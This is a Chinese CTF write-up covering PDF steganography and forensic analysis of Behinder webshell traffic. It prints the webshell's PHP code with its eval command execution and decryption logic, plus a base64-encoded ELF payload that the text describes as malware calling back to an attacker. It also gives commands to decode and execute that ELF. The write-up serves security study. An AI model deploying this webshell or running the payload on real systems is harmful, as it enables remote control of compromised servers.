【2025年湖南省赛misc复盘】
Misc
2.pdf
将给出的pdf文件命名为2.pdf,先查看pdf中是否藏了文件,发现了这个pdf里还藏了一个pdf文件,在偏移 10155(0x27AB)处又出现了一个 PDF 1.3
版本头。然后在在偏移 88271(0x158CF)处,binwalk 检测到了一个 JBOOT STAG header
。
然后这里出现这个 JBOOT 数据挺可疑的,JBOOT 是嵌入式系统组件,绝对不应该出现在一个 PDF 文档中,这表明该PDF 文件被故意篡改,在其中隐藏了无关的数据,而且这个image size: 1858732230 bytes
(约 1.73 GB),绝大多数嵌入式设备的固件大小在几MB到几十MB之间。一个 1.73 GB 的固件镜像对于这类设备来说是完全不可能的。这个字段很可能被故意填错
binwalk 2.pdf #分析
foremost 2.pdf #分离
将output里的文件分别命名为1.1pdf和1.2pdf,在i.1pdf中直观看到了第三部分的flag
查看1.2pdf文件,通过对里面的文字进行选取操作,发现了白色的隐藏文字,得到第一部分flag
将1.2.pdf拖入010editor进行分析,在文件头后面找到了第二部分的flag
得到完整的flag:dart{pdf_steganography_1s_1nTerest1ng}
webshell
http.request.method=="POST"
发现了上传的木马,追踪流查看找到了key,14c0ea9a5d07d11a
很明显的冰蝎流量的特征
<?php
@error_reporting(0);
session_start();
$key="14c0ea9a5d07d11a"; // 加密密钥
$_SESSION['k']=$key;
// ... 加密解密逻辑
class C{public function __invoke($p) {eval($p."");}} // 命令执行
?>
冰蝎流量的一般工作原理
// 如果有openssl扩展(进行各类加密),使用AES加密
$post=openssl_decrypt($post, "AES128", $key);
// 如果没有openssl,使用XOR异或加密
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
然后对最大的包进行追踪流分析
数据包中的内容+ = /
的格式,非常典型base64编码,将它进行base64编码和已知密钥14c0ea9a5d07d11a
的AES编码之后得到长串代码,这个代码很长,前面的绝大部分都是函数
那么直接找到最后的php代码,观察也能发现里面一些参数的内容被base64编码了
$mode="dXBkYXRl";
$mode=base64_decode($mode);
$path="L3Zhci90bXAvc3lzd2F0Y2g=";
$path=base64_decode($path);
$hash="";
$blockIndex="MA==";
$blockIndex=base64_decode($blockIndex);
$blockSize="MzA3MjA=";
$blockSize=base64_decode($blockSize);
$content="ZjBWTVJnSUJBUUFBQUFBQUFBQUFBQUlBUGdBQkFBQUFlQUJBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBT0FBQkFBQUFBQUFBQUFFQUFBQUhBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBUUFBQUFBQUErZ0FBQUFBQUFBQjhBUUFBQUFBQUFBQVFBQUFBQUFBQU1mOXFDVmladGhCSWlkWk5NY2xxSWtGYWFnZGFEd1ZJaGNCNFVXb0tRVmxRYWlsWW1Xb0NYMm9CWGc4RlNJWEFlRHRJbDBpNUFnQUZPUXJUTkdSUlNJbm1haEJhYWlwWUR3VlpTSVhBZVNWSi84bDBHRmRxSTFocUFHb0ZTSW5uU0RIMkR3VlpXVjlJaGNCNXgybzhXR29CWHc4RlhtcCtXZzhGU0lYQWVPMy81Zz09";
$content=base64_decode($content);
$charset="";
$newpath="";
$createTimeStamp="";
$accessTimeStamp="";
$modifyTimeStamp="";
main($mode,$path,$hash,$blockIndex,$blockSize,$content,$charset,$newpath,$createTimeStamp,$accessTimeStamp,$modifyTimeStamp);
经过base64解码得到:
$mode="update";
$mode=base64_decode($mode);
$path="/var/tmp/syswatch";
$path=base64_decode($path);
$hash="";
$blockIndex="0";
$blockIndex=base64_decode($blockIndex);
$blockSize="30720";
$blockSize=base64_decode($blockSize);
$content="f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAFOQrTNGRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==";
$content=base64_decode($content);
$charset="";
$newpath="";
$createTimeStamp="";
$accessTimeStamp="";
$modifyTimeStamp="";
main($mode,$path,$hash,$blockIndex,$blockSize,$content,$charset,$newpath,$createTimeStamp,$accessTimeStamp,$modifyTimeStamp);
其中有意思的是变量$content经解码后发现是一个elf
文件
.elf 文件是 可执行与可链接格式 的文件,是一种标准的二进制可执行文件格式,是 Linux、Unix 类操作系统以及许多嵌入式系统中可执行文件、目标代码、共享库和核心转储的标准格式。
在 Linux 系统中,.elf
文件就相当于 Windows 系统中的 .exe
文件。
那么可以将变量$content的内容赋值给在linux中新建的一个elf文件
echo "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAFOQrTNGRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==" | base64 -d > webshell.elf
冰蝎 Webshell 传递的$content
变量内容,本质上是攻击者向目标服务器上传的恶意可执行文件elf,运行该文件后其恶意行为之一就是主动与攻击者的控制端建立网络连接,因此通过查看网络连接就能获取对应的 IP 和端口。
运行webshell.elf文件
chmod +x webshell.elf #赋予其执行权限
./webshell.elf #运行